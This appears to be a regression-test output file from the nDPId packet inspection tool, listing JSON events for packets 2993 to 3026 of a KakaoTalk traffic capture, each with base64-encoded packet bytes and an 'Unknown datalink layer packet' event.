+00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2993,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":438361,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Sl2AbFF1i0P4GguGVRnw\/9TZlJ\/4U02ShR0I0nfjBteIp0fqhsGQRyRbPqnvmEs3yF542Wia419Z"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2993,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2994,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":439826,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/wPOAbFF2i0P72guGVRliWZShUOlfO5VGkaRtqjxgWZ\/qXjCtHye6RRU9g9Z4NWtTA7RrgVx1jN8D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2994,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2995,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":457526,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBq7tOByAAMVJql2krhbV89oUMcy\/H1yMRyxtzLvCuV+NKOpWlKABNpiuOYr7ETUv3rdzsNnsxA\/ZnLoRRbbOFaLNLF7\/fqnOEK7h4w8e0O7kWD7tpnQ+qAAAALtTDeeR\/VL0OxsQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2995,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2996,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":457678,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAQBHaPgoYUrwByQGuKBxaBgBQ6fiAbDP8frNdg1Sapdq100xOQS\/9ugEzw3aGyjeqP7sk\/jnFicyEfDDUmd19FLRu0zKqBXG5wZ9qsIQDSA6zWMFxeWD\/siZYPyI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2996,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2997,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":528876,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEMKPkAAjwZ+Jq38WIAKGFK8AbvqMmPPn1EydbbqUBiiyaDuAAAXAwEAFvvMU6Wd8\/seoireeLlt0w24Shj3cBw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2997,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2998,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":529212,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoDkAAQAZvcQoYUryt\/FiA6jIBuzJ1tupjz59sUBA6oGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2998,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2999,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":538611,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/mHOAbFF3i0P\/mguGVRmUbYnVILlL4yUK9I\/UZNAaEeq416\/ZMhTQo02c9NF9SENZ\/egXb4jCSpwR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2999,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3000,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":546179,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJkAAEAAQBHaCQoYUrwByQGuKBxaBgCF7NWAbDP9frNhQ1SapdrXX1rTYv+4T3\/2XJHT84DxdQj11tIkb6lTn7x40Nr4YjZcfx9ozzj0l0qUWe\/Khg61kFbj0yEad4vf0Z+LpksnC+wnGr0O5B7pJ\/EuiYlJZvSy4xDsOymDVPg\/VITUkiPRIdnYbdMMTY0\/JDkJ7Fj\/IQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3000,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3001,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":559180,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHRH8wAHJAa4KGFK8WgQsOACmnrGAbDP3frNKw1SapdpPAjFLD+Vyo3\/w3fZDzQNx9DMmHNmVDvIV33PZRcxntKcdcEjad2wu3sZMyjGSBZB9whbfDE+tii7QCBoIHm9PtXUG+Y6fVljGlLqMdzaGnHchfNXiMjK6Zzm2K2hBT1OOu58CHIAtvb1okUIztNqV6C5O60WsgePSuhekDfvZhs8Dr6KUe3XSvO698JxMhFmZSw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3001,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3002,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":596320,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFIKP0AAjwZ+Fq38WIAKGFK8AbvqMmPPnycydbbqUBiiyaGSAAAXAwEAJey4EkCRtBJEDBSUmpwx40naJSdEZIBgpY0QyCaI7yH9yXOkrrY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3002,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3003,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":596472,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoD0AAQAZvcAoYUryt\/FiA6jIBuzJ1tupjz59sUBA6oGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3003,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3004,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":599127,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEMKQEAAjwZ+JK38WIAKGFK8AbvqMmPPn1EydbbqUBiiyaDuAAAXAwEAFvvMU6Wd8\/seoireeLlt0w24Shj3cBw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3004,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3005,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":599250,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoEEAAQAZvbwoYUryt\/FiA6jIBuzJ1tupjz59sUBA6oGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3005,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3006,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":618720,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAQBHZ4AoYUrwByQGuKBxaBgCuSTWAbDP+frNlA1SapdpEIeDDwNIGuNygkd517MBQXgBits9sXbGSwja7z5btFvtlrMo3ktmPlMJYEo2OzGQ6Y035zf8fqSa21O+n6eXXAjKLHPAGfxvDb4qLwd5iK6nlr0C\/etTyCRs4IH3F5hglgeBITOHG0wLR3u1kRBDjZQpZLjj2m3bFYOptWozB8Ix\/Tyc6+tlbv9T3ka7eFlMhIPw64Si+TEHD"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3006,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3007,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":636267,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/LHGAbFF4i0QDWguGVRk5AecA11Rmxp78cwkTC5u+Ck3VAjAH+fpcJjPREAD95XNmGQiOk2OLq6o7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3007,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3008,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":637702,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/ICeAbFF5i0QHGguGVRlYTdAXYQ3sQfa4FlY0KPVmqCYZLP4B217CyMsoaleqAb1\/KN72WPGpfCwA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3008,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3009,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":659033,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAQBHZ7QoYUrwByQGuKBxaBgChD1+AbDP\/frNow1SapdorAisRCv5zKWcR99Cs34rt3KBzESZz31x9TOgzYE+yULmjQcCi8qpFkt0BOfqngkxUHeCauOQxJ+xEtGv0x4CzStv4GPGTO\/4ofrflXiSE3cuegJHqfd8hLA1LLAQXTlCG1JUoeOxe9XzKt6uNvReM2jHl0pGcBMGWwiTKW2DRxd8IUSwikmrY3Fk3WL4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3009,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3010,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":705268,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAQBHZ6goYUrwByQGuKBxaBgCkx2mAbDQAfrNsg1SapdrXhbPQQdKTuaXIj2dW98a5d8N3K08\/ylwXxQUk+vdFz8g3TszJeGjcZTI8QbWk5+2\/9bkahMPaM9ejFrtWOsWnDW96cY0yGzlRSAJQNGQuEdPU8bBzmJuowEpl9UgQkSqoIbpaz9vuJynyoPtBZHqyiTUBTfgS++m+KJWRkSvuzFq7uO\/EOQAJI3sU0cmVp+w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3010,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3011,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":739264,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/SiSAbFF6i0QK2guGVRmeGdoxhBTJ6BR5D5aCMEVOdrIG5jh+66ePISSiXqxMYxiV8HDGhb\/wpzod"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3011,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3012,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":741126,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/w8mAbFF7i0QOmguGVRmCwnozuQH+1fWpSRBuHskwhHwaESGssh6FVzItaNymbgLMD\/LRFPdjmoKv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3012,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3013,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":768470,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHBH93gHJAa4KGFK8WgQsOACIWhiAbDP4frNOg1SapdqA2rEKMB1OTRI2A9bpZhZCg5xLSKwM\/QYf6m1BQ6t5pT5gve7XwwmXj76HHEZCHKBSpzwE0Tuz4IijU+Yw\/QwHwj7XWzlZmO5mCZcuTcjCZdhMbG+s29VrUXnyWyPxjz149YznA89VDYsDpnx44FR\/BDCb3Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3013,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":804358,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAQBHZ6woYUrwByQGuKBxaBgCjLLuAbDQBfrNwQ1SapdpxobyoWQHXgYiRcLQPfzH9dhyM+heGqebO4B1ZbCL613Jr8sb8f67Vw\/EZfFWDhlmuM4s+69DXLfgRjT\/OF5OD6vpdCaBSjPjw0ymgv7iycu1NB+Hg9IKmsd1ZutoPm4QsVNi9mYQNaT4W5T0SeUHHh\/y5K0Ofx+QGmxCOnkQBZuXa032SOZeqJ3FS+ZSL\/g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":807410,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIDy2AbFFyi0Ps2guGVRmwSduflsOEBNvFWDceSQSrgUztHCxd9IA3SdKojbdhrbdCd+yKF\/6dGnhkHFQpM7FvXa80"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":832038,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/\/bKAbFF8i0QSWguGVRk16K3rbZ2SCVjcoat\/FIWNGKspQmIvkBRckx8xqyCkDQNM9yPjkP3UEHB9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":838843,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAQBHZ7woYUrwByQGuKBxaBgCfkliAbDQCfrN0A1SapdrVoekHqhJQwfddsQTLcf6NuBSfhd0l2zocORejVx\/mmHOAW8dL453V2HqpVfB9TvRjRu7ZCWTw6BH\/aUmrdjYCCy+Lww5vWQKnsI4KutQ8cITarkVUebxfAII72rPC756jC2+Rmv6pQt8vaELur3zxEhGrYJr6aCb0xHbs2MpIpQq8bbzQ7ckP4jV8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":859076,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHRH9EgHJAa4KGFK8WgQsOABU7JuAbDP5frNSQ1SapdqPK16Gv8uN7HBPCdQD8Sn8v9cIeln4lJ80TgNeas2+gzAB0a7zI\/2aL1ckLEMXF\/91yr0krWpcYCkJv\/dPF5sU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":903693,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBivgyAbDQDfrN3w1SapdocCh4JDf8avinnt4NMdnNWpSiJ4AGIjnwVn67Xc+taDKqlFepNpRR0m2inyFo1HCebD8qFcu8o1k7A8M60F0me8S4lKZ9mLqNSvkXuy+o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":938422,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/1VSAbFF9i0QWGguGVRnTTlWbuz7MrmrH3\/ioPBkBjOLUOjCiQ\/osqPbgtQg\/zLHRu79yDvgpp\/RF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":938605,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAPxHbMQoYUrwByQGuLDhaBABdJWWAbFF+i0QZ2guGVRmTCQi7u1W\/d3ooNYgQekMAvBJFsZIRmVugJrEVKWnIvO3\/NjVdrLrk8cCcJE5EJc\/cQjvBHzoAGF7wGWP40W9xuzWJf7N5enLI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069213,"pkt_ts_usec":979651,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKxmuAbDQEfrN7g1SapdpMg8DL0VVOwA4dwN1PAyNu\/XTLgrcZksIWzSiA6TKdDksjM0u\/d+pMkW7L\/yF0OgI4sTxsD\/s="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":19629,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPcuOAbDQFfrN\/Q1Sapdpr5A+wJXodKG314NhRU0Y80kefxDChWMVJvK+PnU5M31jHVoP82QWZZF263gfz9u1cgFbz32YL\/Czu3g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":35926,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAPxHbDwoYUrwByQGuLDhaBAB\/sI2AbFF\/i0QdmguGVRlnnmdf7GZ8Lbg5Ap6EpFJVqO0L2XYiolGBa5b4FzNm9CiwylxPnP+orPe7C86ril1RjXcOPN2cBfpMrWFip6z+72xER42cqJe\/DP25EWp9iRTvqv66syllVtdBbTRN3+RbeFID+hb46wh2VA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":38672,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2g1KAbFGAi0QhWguGVRn+YngxocbxPL9Hchw+vrbzsrZy84q0HksZTDK6OmriJLjJTcdYFCbLL+3C4S2clSMr8LuSENXjmwvZB+uk2XttO2KGccoc2uV5jV6Qxg3CwceDwGOMAPDjAzT5IBRtWEvyGNv2tjNHj46QkFEB+n8HAPGteWPDm+g\/0OF0vvXCU52BifupwpXH9pY\/rIVTKzJSUXO5+igL\/rHhzVwWx+mQdwA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":78253,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAQBHaQAoYUrwByQGuKBxaBgBONHqAbDQGfrODA1SapdrV7vhggfkbDNATEMqNUxZuGQ7hvghHrA\/wZ7RPEMk0p6q5GqAdCRulZcw+HGBs\/vWtzKzdGc4xpwcZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 